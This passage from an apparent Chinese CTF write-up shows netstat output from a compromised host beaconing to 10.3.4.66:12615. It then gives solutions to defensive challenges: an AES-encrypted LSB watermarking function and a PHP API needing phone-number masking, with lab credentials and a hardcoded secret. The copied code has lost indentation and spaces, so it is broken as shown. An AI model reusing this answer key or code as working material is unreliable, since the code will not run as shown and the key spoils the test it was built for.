tcp 0 1 192.168.200.200:40532 10.3.4.66:12615 SYN_SENT 30344/linux-generic
tcp 0 1 192.168.200.200:47326 10.3.4.66:12615 SYN_SENT 28580/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:59552 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:39382 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:60438 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:37396 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:40232 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:8080 127.0.0.1:32960 TIME_WAIT -
tcp 0 1 192.168.200.200:54276 10.3.4.66:12615 SYN_SENT 30025/linux-generic
tcp 0 1 192.168.200.200:40504 10.3.4.66:12615 SYN_SENT 30334/linux-generic
tcp 0 1 192.168.200.200:36054 10.3.4.66:12615 SYN_SENT 28719/linux-generic
tcp 0 0 127.0.0.1:43620 127.0.0.1:9168 FIN_WAIT2 -
tcp 245 0 127.0.0.1:9168 127.0.0.1:34396 CLOSE_WAIT -
tcp 241 0 127.0.0.1:9168 127.0.0.1:41032 CLOSE_WAIT -
tcp 245 0 127.0.0.1:9168 127.0.0.1:55026 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:33104 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:45098 10.3.4.66:12615 SYN_SENT 28602/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:38004 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:40456 10.3.4.66:12615 SYN_SENT 28977/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:34670 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:47330 10.3.4.66:12615 SYN_SENT 30041/linux-generic
tcp 244 0 127.0.0.1:9168 127.0.0.1:33552 CLOSE_WAIT -
tcp 0 1 192.168.200.200:58198 10.3.4.66:12615 SYN_SENT 30299/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:46656 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:8080 127.0.0.1:32894 TIME_WAIT -
tcp 0 1 192.168.200.200:54262 10.3.4.66:12615 SYN_SENT 3821/linux-generic
tcp 245 0 127.0.0.1:9168 127.0.0.1:59126 CLOSE_WAIT -
tcp 245 0 127.0.0.1:9168 127.0.0.1:42604 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:57236 CLOSE_WAIT 410/ruby
tcp 244 0 127.0.0.1:9168 127.0.0.1:52748 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:36220 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:35532 127.0.0.1:9236 ESTABLISHED -
tcp 244 0 127.0.0.1:9168 127.0.0.1:34080 CLOSE_WAIT -
tcp 241 0 127.0.0.1:9168 127.0.0.1:46058 CLOSE_WAIT -
tcp 244 0 127.0.0.1:9168 127.0.0.1:41454 CLOSE_WAIT -
tcp 245 0 127.0.0.1:9168 127.0.0.1:41814 CLOSE_WAIT -
tcp 0 1 192.168.200.200:58118 10.3.4.66:12615 SYN_SENT 29929/linux-generic
tcp 0 1 192.168.200.200:33174 10.3.4.66:12615 SYN_SENT 29033/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:38100 CLOSE_WAIT 410/ruby
tcp 241 0 127.0.0.1:9168 127.0.0.1:46192 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:45798 CLOSE_WAIT 410/ruby
tcp 245 0 127.0.0.1:9168 127.0.0.1:33562 CLOSE_WAIT -
tcp 244 0 127.0.0.1:9168 127.0.0.1:52564 CLOSE_WAIT -
tcp 241 0 127.0.0.1:9168 127.0.0.1:48888 CLOSE_WAIT -
tcp 0 1 192.168.200.200:47130 10.3.4.66:12615 SYN_SENT 28668/linux-generic
tcp 0 0 127.0.0.1:60538 127.0.0.1:80 TIME_WAIT -
tcp 244 0 127.0.0.1:9168 127.0.0.1:51430 CLOSE_WAIT -
tcp 0 1 192.168.200.200:59348 10.3.4.66:12615 SYN_SENT 21899/linux-generic
tcp 0 0 127.0.0.1:38140 127.0.0.1:9187 ESTABLISHED -
tcp 0 0 127.0.0.1:9168 127.0.0.1:55456 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:36498 10.3.4.66:12615 SYN_SENT 28952/linux-generic
tcp 0 1 192.168.200.200:58096 10.3.4.66:12615 SYN_SENT 29915/linux-generic
tcp 0 1 192.168.200.200:58674 10.3.4.66:12615 SYN_SENT 24726/linux-generic
tcp 245 0 127.0.0.1:9168 127.0.0.1:60692 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:54992 CLOSE_WAIT 410/ruby
tcp 245 0 127.0.0.1:9168 127.0.0.1:43696 CLOSE_WAIT -
tcp 0 1 192.168.200.200:42462 10.3.4.66:12615 SYN_SENT 28802/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:50274 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:59464 10.3.4.66:12615 SYN_SENT 28845/linux-generic
tcp 0 1 192.168.200.200:42516 10.3.4.66:12615 SYN_SENT 30157/linux-generic
tcp 241 0 127.0.0.1:9168 127.0.0.1:41464 CLOSE_WAIT -
tcp 244 0 127.0.0.1:9168 127.0.0.1:35892 CLOSE_WAIT -
tcp 245 0 127.0.0.1:9168 127.0.0.1:56892 CLOSE_WAIT -
tcp 244 0 127.0.0.1:9168 127.0.0.1:54154 CLOSE_WAIT -
tcp 244 0 127.0.0.1:9168 127.0.0.1:56172 CLOSE_WAIT -
tcp 241 0 127.0.0.1:9168 127.0.0.1:34706 CLOSE_WAIT -
tcp 0 0 127.0.0.1:60990 127.0.0.1:9168 ESTABLISHED -
tcp 0 1 192.168.200.200:45066 10.3.4.66:12615 SYN_SENT 30065/linux-generic
tcp 244 0 127.0.0.1:9168 127.0.0.1:56880 CLOSE_WAIT -
tcp 245 0 127.0.0.1:9168 127.0.0.1:37638 CLOSE_WAIT -
tcp 245 0 127.0.0.1:9168 127.0.0.1:34716 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:38548 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:38974 CLOSE_WAIT 410/ruby
tcp 241 0 127.0.0.1:9168 127.0.0.1:57612 CLOSE_WAIT -
tcp 0 1 192.168.200.200:47114 10.3.4.66:12615 SYN_SENT 29013/linux-generic
tcp 245 0 127.0.0.1:9168 127.0.0.1:51422 CLOSE_WAIT -
tcp 0 1 192.168.200.200:58140 10.3.4.66:12615 SYN_SENT 30285/linux-generic
tcp 241 0 127.0.0.1:9168 127.0.0.1:40380 CLOSE_WAIT -
tcp 244 0 127.0.0.1:9168 127.0.0.1:49390 CLOSE_WAIT -
tcp 0 1 192.168.200.200:59420 10.3.4.66:12615 SYN_SENT 30257/linux-generic
tcp 241 0 127.0.0.1:9168 127.0.0.1:43642 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:37722 CLOSE_WAIT 410/ruby
tcp 241 0 127.0.0.1:9168 127.0.0.1:54134 CLOSE_WAIT -
tcp 0 1 192.168.200.200:58154 10.3.4.66:12615 SYN_SENT 29950/linux-generic
tcp 245 0 127.0.0.1:9168 127.0.0.1:57486 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:38088 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:47104 10.3.4.66:12615 SYN_SENT 29020/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:58684 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:58180 10.3.4.66:12615 SYN_SENT 23122/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:34680 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:34236 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:32964 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:59466 10.3.4.66:12615 SYN_SENT 1252/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:50256 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:54984 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:58658 10.3.4.66:12615 SYN_SENT 24462/linux-generic
tcp 0 1 192.168.200.200:40566 10.3.4.66:12615 SYN_SENT 30364/linux-generic
tcp 0 1 192.168.200.200:47310 10.3.4.66:12615 SYN_SENT 20979/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:48602 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:36052 10.3.4.66:12615 SYN_SENT 28713/linux-generic
tcp 0 1 192.168.200.200:33162 10.3.4.66:12615 SYN_SENT 28698/linux-generic
tcp 244 0 127.0.0.1:9168 127.0.0.1:42806 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:39398 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:57222 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:58496 CLOSE_WAIT 410/ruby
tcp 241 0 127.0.0.1:9168 127.0.0.1:56104 CLOSE_WAIT -
tcp 0 0 127.0.0.1:52864 127.0.0.1:9168 FIN_WAIT2 -
tcp 245 0 127.0.0.1:9168 127.0.0.1:57886 CLOSE_WAIT -
tcp 244 0 127.0.0.1:9168 127.0.0.1:55040 CLOSE_WAIT -
tcp 241 0 127.0.0.1:9168 127.0.0.1:56866 CLOSE_WAIT -
tcp 0 1 192.168.200.200:42480 10.3.4.66:12615 SYN_SENT 30129/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:46644 CLOSE_WAIT 410/ruby
tcp 241 0 127.0.0.1:9168 127.0.0.1:58870 CLOSE_WAIT -
tcp 0 1 192.168.200.200:45162 10.3.4.66:12615 SYN_SENT 23972/linux-generic
tcp 0 1 192.168.200.200:59396 10.3.4.66:12615 SYN_SENT 30244/linux-generic
tcp 241 0 127.0.0.1:9168 127.0.0.1:34054 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:41060 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:47102 10.3.4.66:12615 SYN_SENT 28675/linux-generic
tcp 241 0 127.0.0.1:9168 127.0.0.1:52880 CLOSE_WAIT -
tcp 241 0 127.0.0.1:9168 127.0.0.1:57482 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:42150 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:8080 127.0.0.1:53988 TIME_WAIT -
tcp 245 0 127.0.0.1:9168 127.0.0.1:56182 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:44702 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:40542 10.3.4.66:12615 SYN_SENT 30358/linux-generic
tcp 0 1 192.168.200.200:59340 10.3.4.66:12615 SYN_SENT 30238/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:37584 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:45728 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:58678 10.3.4.66:12615 SYN_SENT 28749/linux-generic
tcp 244 0 127.0.0.1:9168 127.0.0.1:52888 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:44852 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:37542 127.0.0.1:9229 ESTABLISHED -
tcp 244 0 127.0.0.1:9168 127.0.0.1:56110 CLOSE_WAIT -
tcp 245 0 127.0.0.1:9168 127.0.0.1:36554 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:37996 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:42162 CLOSE_WAIT 410/ruby
tcp 244 0 127.0.0.1:9168 127.0.0.1:59112 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:60454 CLOSE_WAIT 410/ruby
tcp 241 0 127.0.0.1:9168 127.0.0.1:42940 CLOSE_WAIT -
tcp 0 1 192.168.200.200:45122 10.3.4.66:12615 SYN_SENT 30075/linux-generic
tcp 244 0 127.0.0.1:9168 127.0.0.1:37650 CLOSE_WAIT -
tcp 0 1 192.168.200.200:58168 10.3.4.66:12615 SYN_SENT 28870/linux-generic
tcp 241 0 127.0.0.1:9168 127.0.0.1:58622 CLOSE_WAIT -
tcp 0 1 192.168.200.200:42500 10.3.4.66:12615 SYN_SENT 30151/linux-generic
tcp 241 0 127.0.0.1:9168 127.0.0.1:60678 CLOSE_WAIT -
tcp 0 1 192.168.200.200:54280 10.3.4.66:12615 SYN_SENT 30031/linux-generic
tcp 244 0 127.0.0.1:9168 127.0.0.1:57884 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:44716 CLOSE_WAIT 410/ruby
tcp 244 0 127.0.0.1:9168 127.0.0.1:34386 CLOSE_WAIT -
tcp 244 0 127.0.0.1:9168 127.0.0.1:48758 CLOSE_WAIT -
tcp 0 1 192.168.200.200:47146 10.3.4.66:12615 SYN_SENT 30404/linux-generic
tcp 0 1 192.168.200.200:47300 10.3.4.66:12615 SYN_SENT 21212/linux-generic
tcp 0 0 127.0.0.1:9236 127.0.0.1:35532 ESTABLISHED 342/gitaly
tcp 0 0 127.0.0.1:60958 127.0.0.1:9168 ESTABLISHED -
tcp 0 1 192.168.200.200:40458 10.3.4.66:12615 SYN_SENT 28640/linux-generic
tcp 245 0 127.0.0.1:9168 127.0.0.1:52864 CLOSE_WAIT -
tcp 0 1 192.168.200.200:40472 10.3.4.66:12615 SYN_SENT 28971/linux-generic
tcp 0 0 127.0.0.1:33638 127.0.0.1:8060 ESTABLISHED -
tcp 245 0 127.0.0.1:9168 127.0.0.1:57260 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:58696 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:40486 10.3.4.66:12615 SYN_SENT 30313/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:54978 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9090 127.0.0.1:55420 ESTABLISHED -
tcp 0 1 192.168.200.200:40576 10.3.4.66:12615 SYN_SENT 30370/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:46350 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:40488 10.3.4.66:12615 SYN_SENT 30321/linux-generic
tcp 0 0 127.0.0.1:52888 127.0.0.1:9168 FIN_WAIT2 -
tcp 0 1 192.168.200.200:54254 10.3.4.66:12615 SYN_SENT 28881/linux-generic
tcp 245 0 127.0.0.1:9168 127.0.0.1:48772 CLOSE_WAIT -
tcp 241 0 127.0.0.1:9168 127.0.0.1:36538 CLOSE_WAIT -
tcp 244 0 127.0.0.1:9168 127.0.0.1:36550 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:38528 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:53612 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:58196 10.3.4.66:12615 SYN_SENT 28863/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:49384 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:40552 10.3.4.66:12615 SYN_SENT 28997/linux-generic
tcp 244 0 127.0.0.1:9168 127.0.0.1:41826 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:44690 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:8060 127.0.0.1:33638 ESTABLISHED -
tcp 241 0 127.0.0.1:9168 127.0.0.1:33536 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:59566 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:40502 10.3.4.66:12615 SYN_SENT 30326/linux-generic
tcp 0 1 192.168.200.200:45186 10.3.4.66:12615 SYN_SENT 24448/linux-generic
tcp 244 0 127.0.0.1:9168 127.0.0.1:57466 CLOSE_WAIT -
tcp 241 0 127.0.0.1:9168 127.0.0.1:57868 CLOSE_WAIT -
tcp 0 1 192.168.200.200:47284 10.3.4.66:12615 SYN_SENT 28905/linux-generic
tcp 0 1 192.168.200.200:40474 10.3.4.66:12615 SYN_SENT 28633/linux-generic
tcp 244 0 127.0.0.1:9168 127.0.0.1:42588 CLOSE_WAIT -
tcp 245 0 127.0.0.1:9168 127.0.0.1:54150 CLOSE_WAIT -
tcp 0 1 192.168.200.200:42464 10.3.4.66:12615 SYN_SENT 30116/linux-generic
tcp 0 1 192.168.200.200:42526 10.3.4.66:12615 SYN_SENT 30168/linux-generic
tcp 0 0 127.0.0.1:9168 127.0.0.1:42152 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:58500 CLOSE_WAIT 410/ruby
tcp 240 0 127.0.0.1:9168 127.0.0.1:60974 ESTABLISHED -
tcp 0 0 127.0.0.1:9168 127.0.0.1:36552 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:39376 CLOSE_WAIT 410/ruby
tcp 244 0 127.0.0.1:9168 127.0.0.1:41062 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:58704 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:8080 127.0.0.1:53986 TIME_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:38968 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:44082 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:36486 10.3.4.66:12615 SYN_SENT 28615/linux-generic
tcp 0 0 127.0.0.1:52880 127.0.0.1:9168 FIN_WAIT2 -
tcp 0 0 127.0.0.1:9168 127.0.0.1:40560 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:40868 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:48608 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:55470 CLOSE_WAIT 410/ruby
tcp 0 0 127.0.0.1:9168 127.0.0.1:50266 CLOSE_WAIT 410/ruby
tcp 0 1 192.168.200.200:42536 10.3.4.66:12615 SYN_SENT 30170/linux-generic
tcp 244 0 127.0.0.1:9168 127.0.0.1:43634 CLOSE_WAIT -
tcp 0 0 127.0.0.1:9168 127.0.0.1:40240 CLOSE_WAIT 410/ruby
tcp 241 0 127.0.0.1:9168 127.0.0.1:60680 CLOSE_WAIT -
tcp 0 1 192.168.200.200:45052 10.3.4.66:12615 SYN_SENT 30050/linux-generic
tcp 0 0 127.0.0.1:47870 127.0.0.1:9093 ESTABLISHED -
tcp 244 0 127.0.0.1:9168 127.0.0.1:48232 CLOSE_WAIT -
tcp 244 0 127.0.0.1:9168 127.0.0.1:51432 CLOSE_WAIT -
tcp6 0 0 :::9094 :::* LISTEN -
运维4
执行ps看进程的时候不是报错没有命令而是运行了其他/usr/bin/ps
数据安全
数据1(二血)
本题考点为数据防泄漏，登录 web 服务(端口10180)可查看公司内部公告图。 现需要选手通过 ssh 服务(端口10122)登录服务器，修改/app/watermark_functions.py 代码，根据以下要求实现数据防泄漏追踪功能，代码完善后访问 Check 服务(端口10181)进行检测，Check 通过即可获得 FLAG。 功能要求：需要满足不同用户登录时，图片所打的盲水印不同，水印生成规则为 “用户名_截断到分钟的unix时间戳_登录IP”，例如 “zhangsan_1759983240_192.168.1.100”，采用 AES-256（CBC）加密，密钥 app.secret_key 经 UTF-8 截断/补齐到 32 字节；base64(vi+Ciphertext)的值通过 lsb.hide 进行制作盲水印。 算法: 原文: admin_1760007480_192.168.1.100 密文: rE2xAFljIrUnzo78fINZe1Fj3ol25bNDZkjfg2QdjhD/XRfq6AoF0lBV3CWOWDxG注意： vim 编辑后使用 “w!” 强制保存，或通过 ssh 的 scp 进行覆盖，防止修改失败。 【SSH端口:10122 账号密码:ctf/123456】 【Web端口:10180 账号密码:admin/admin】 【Check服务端口:10181】 看/app/watermark_functions.py 代码
# -*- coding: utf-8 -*-
"""
盲水印功能模块 - 选手需要实现的部分
请根据题目要求完成以下函数的实现
"""
import io
import time
import base64
# TODO: 导入必要的库
# from stegano import lsb
# from PIL import Image
# from Crypto.Cipher import AES
# from Crypto.Util.Padding import pad
def get_watermarked_image(user_id: str, login_ip: str, image_path: str, secret_key: str) -> bytes | None:
"""
获取带水印的图片
参数:
user_id (str): 用户ID
login_ip (str): 登录IP地址
image_path (str): 基础图片路径
secret_key (str): AES加密密钥
返回:
bytes: 带水印的图片字节数据，失败时返回 None
"""
# TODO: 实现盲水印功能
# 要求：
# 1. 生成水印内容：用户名_unix时间戳精确到分钟_登录IP
# 2. 使用 AES-256 加密水印内容
# 3. 将加密后的内容进行 Base64 编码
# 4. 使用 LSB 隐写术隐藏加密后的水印内容到图片中
# 5. 将图片转换为字节流
# 6. 处理异常情况
try:
# 这里需要实现盲水印逻辑
# 提示：
# - 使用 time.time() 获取时间戳
# - 使用 AES.new() 创建加密器
# - 使用 pad() 填充数据
# - 使用 base64.b64encode() 编码
# - 使用 stegano.lsb.hide() 隐藏水印
# - 使用 io.BytesIO() 转换图片为字节流
pass
except Exception as e:
print(f"处理水印失败: {e}")
returnNone
看app.py 代码
from functools import wraps
import io
import os
from flask import (
Flask,
jsonify,
redirect,
render_template,
request,
session,
url_for,
send_file,
)
# 导入选手需要实现的盲水印功能模块
from watermark_functions import get_watermarked_image
app = Flask(__name__)
app.secret_key = "your_secret_key"# TODO: 请更改为安全的随机密钥
# 模拟用户数据库
USERS = {
"admin": "admin",
"user1": "password1",
"user2": "password2",
"zhangsan": "password123",
"lisi": "password456",
}
def is_logged_in() -> bool:
"""检查用户是否已登录"""
return session.get("logged_in", False)
def get_current_user():
"""获取当前登录用户"""
if is_logged_in():
return session.get("username")
returnNone
def require_login(f):
"""装饰器：要求用户登录"""
@wraps(f)
def decorated_function(*args, **kwargs):
ifnot is_logged_in():
return redirect(url_for("home"))
return f(*args, **kwargs)
return decorated_function
@app.route("/")
def home():
return render_template("login.html")
@app.route("/login", methods=["POST"])
def login():
username = request.form["username"]
password = request.form["password"]
# 验证用户凭据
if username in USERS and USERS[username] == password:
session["logged_in"] = True
session["username"] = username
return redirect(url_for("announcement"))
# 登录失败，返回错误信息
return render_template("login.html", error="Invalid username or password")
@app.route("/announcement")
@require_login
def announcement():
current_user = get_current_user()
return render_template("announcement.html", username=current_user)
@app.route("/api/announcement-image")
@require_login
def announcement_image():
current_user = get_current_user()
# 获取登录IP地址
login_ip = request.remote_addr
# 获取带水印的图片
base_image_path = "pdf.png"# 使用 pdf.png 作为基础图片
watermarked_image_data = get_watermarked_image(
current_user, login_ip, base_image_path, app.secret_key
)
if watermarked_image_data:
return send_file(io.BytesIO(watermarked_image_data), mimetype="image/png")
# 如果水印添加失败，返回原图
return send_file(base_image_path, mimetype="image/png")
@app.route("/user-info")
@require_login
def user_info():
"""返回当前用户信息的 API"""
current_user = get_current_user()
return jsonify({"username": current_user, "is_logged_in": True})
@app.route("/logout")
def logout():
session.pop("logged_in", None)
session.pop("username", None)
return redirect(url_for("home"))
# 确保静态目录存在
os.makedirs("static/images", exist_ok=True)
if __name__ == "__main__":
app.run(debug=True)
实现
# -*- coding: utf-8 -*-
"""
盲水印功能模块 - 选手需要实现的部分
"""
import time
import io
import base64
import os
# 必要库
from stegano import lsb
from PIL import Image
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad
def _prepare_key(key_str: str) -> bytes:
key_bytes = key_str.encode('utf-8')
if len(key_bytes) > 32:
key_bytes = key_bytes[:32]
else:
key_bytes = key_bytes.ljust(32, b'\0')
return key_bytes
def _encrypt_watermark(clear_text: str, key: bytes) -> bytes:
iv = get_random_bytes(AES.block_size) # 16 字节
cipher = AES.new(key, AES.MODE_CBC, iv)
padded = pad(clear_text.encode('utf-8'), AES.block_size)
ciphertext = cipher.encrypt(padded)
return iv + ciphertext
def _hide_in_image(image_path: str, data_b64: str) -> Image.Image:
img = Image.open(image_path)
stego_img = lsb.hide(img, data_b64)
return stego_img
def get_watermarked_image(user_id: str, login_ip: str, image_path: str, secret_key: str):
try:
ts = int(time.time() - (time.time() % 60))
watermark_text = f"{user_id}_{ts}_{login_ip}"
key_bytes = _prepare_key(secret_key)
iv_cipher = _encrypt_watermark(watermark_text, key_bytes)
data_b64 = base64.b64encode(iv_cipher).decode('utf-8')
stego_img = _hide_in_image(image_path, data_b64)
buf = io.BytesIO()
stego_img.save(buf, format='PNG')
buf.seek(0)
return buf.getvalue()
except Exception as e:
# 打印错误（在真实环境可去除或改为日志）
print(f"处理水印失败: {e}")
returnNone
数据2(三血)
通过修改现有 PHP 接口代码，使其在读取数据库表单中包含敏感信息时，自动进行脱敏输出。
要求
当接口返回包含敏感数字信息的字段时，对中间 5 位数字进行脱敏，使用星号 * 替代。
接口查询逻辑、参数签名校验与其它字段保持不变，仅对输出阶段做脱敏处理。
参考位置
接口文件：api.php可在最终 json_encode 输出前，对结果集中包含数字的敏感字段进行处理。
做题方式
通过 SSH 连接到环境：账号 ctf，密码 123456。
修改 api.php 文件。
检测入口
访问 /check 执行检测，仅显示最终结果。
数据展示页面
如有需要，可访问 /show.php 查看调用 api.php 后的表格化数据展示效果。
如果脱敏实现正确，你将在这里看到敏感数字字段中间 5 位被替换为星号 *。
判定标准
返回数据中，敏感数字字段进行脱敏格式处理，并且不能修改原数据。
其余字段（uuid, username, email, gender, age 等）与数据库一致。
提示：可编写一个函数对数字串进行标准化与打码，再对结果数组逐条处理后返回。 看看api.php的代码
<?php
// 简单用户查询API：支持按 uuid 或 username 查询；若无参数则返回前100条
// 数据库连接参数支持环境变量覆盖
header('Content-Type: application/json; charset=utf-8');
$signSecret = getenv('SIGN_SECRET') ?: 'e61e1b2b92118be136f886533467def0';
$maxSkew = 300; // 允许的时间偏移（秒）
// 计算签名：对除 sign 外的所有查询参数按键名排序后拼接 key=value&...，使用 HMAC-SHA256
function build_base_string(array $params): string
{
ksort($params);
$pairs = [];
foreach ($params as $k => $v) {
$pairs[] = $k . '=' . $v;
}
return implode('&', $pairs);
}
// 签名校验（包含时间戳窗口检查）
try {
$queryParams = $_GET;
$providedSign = isset($queryParams['sign']) ? (string) $queryParams['sign'] : '';
unset($queryParams['sign']);
$ts = isset($queryParams['ts']) ? intval($queryParams['ts']) : 0;
if ($ts <= 0 || abs(time() - $ts) > $maxSkew) {
http_response_code(401);
echo json_encode(['success' => false, 'error' => 'unauthorized: invalid or expired timestamp']);
return;
}
$base = build_base_string($queryParams);
$expected = hash_hmac('sha256', $base, $signSecret);
if (!$providedSign || !hash_equals($expected, $providedSign)) {
http_response_code(401);
echo json_encode(['success' => false, 'error' => 'unauthorized: invalid signature']);
return;
}
} catch (Throwable $e) {
http_response_code(401);
echo json_encode(['success' => false, 'error' => 'unauthorized']);
return;
}
$dbHost = getenv('DB_HOST') ?: '127.0.0.1';
$dbName = getenv('DB_NAME') ?: 'data';
$dbUser = getenv('DB_USER') ?: 'ctf';
$dbPass = getenv('DB_PASS') ?: '123456';
$result = [
'success' => false,
'data' => [],
'error' => null,
];
try {
// 使用 mysqli 连接
$mysqli = mysqli_init();
// 连接超时与重连配置（可选）
mysqli_options($mysqli, MYSQLI_OPT_CONNECT_TIMEOUT, 5);
if (!@mysqli_real_connect($mysqli, $dbHost, $dbUser, $dbPass, $dbName, 3306)) {
thrownewException('db_connect_failed: ' . mysqli_connect_error());
}
if (!@$mysqli->set_charset('utf8mb4')) {
// 字符集设置失败不致命，但记录
}
$uuid = isset($_GET['uuid']) ? trim($_GET['uuid']) : null;
$username = isset($_GET['username']) ? trim($_GET['username']) : null;
$id = isset($_GET['id']) ? intval($_GET['id']) : null;
if ($id !== null && $id > 0) {
$sql = 'SELECT uuid, username, phone, gender, age, email FROM users WHERE id = ? LIMIT 1';
if ($stmt = $mysqli->prepare($sql)) {
$stmt->bind_param('i', $id);
$stmt->execute();
$res = $stmt->get_result();
$rows = $res ? $res->fetch_all(MYSQLI_ASSOC) : [];
$stmt->close();
} else {
thrownewException('db_prepare_failed');
}
} elseif ($uuid !== null && $uuid !== '') {
$sql = 'SELECT uuid, username, phone, gender, age, email FROM users WHERE uuid = ? LIMIT 1';
if ($stmt = $mysqli->prepare($sql)) {
$stmt->bind_param('s', $uuid);
$stmt->execute();
$res = $stmt->get_result();
$rows = $res ? $res->fetch_all(MYSQLI_ASSOC) : [];
$stmt->close();
} else {
thrownewException('db_prepare_failed');
}
} elseif ($username !== null && $username !== '') {
$sql = 'SELECT uuid, username, phone, gender, age, email FROM users WHERE username = ? LIMIT 100';
if ($stmt = $mysqli->prepare($sql)) {
$stmt->bind_param('s', $username);
$stmt->execute();
$res = $stmt->get_result();
$rows = $res ? $res->fetch_all(MYSQLI_ASSOC) : [];
$stmt->close();
} else {
thrownewException('db_prepare_failed');
}
} else {
$sql = 'SELECT uuid, username, phone, gender, age, email FROM users ORDER BY username ASC LIMIT 100';
$res = $mysqli->query($sql);
$rows = $res ? $res->fetch_all(MYSQLI_ASSOC) : [];
if ($res) {
$res->free();
}
}
$result['success'] = true;
$result['data'] = $rows;
$mysqli->close();
} catch (Throwable $e) {
http_response_code(500);
$result['error'] = $e->getMessage();
}
echo json_encode($result, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
// 建表SQL（参考）：
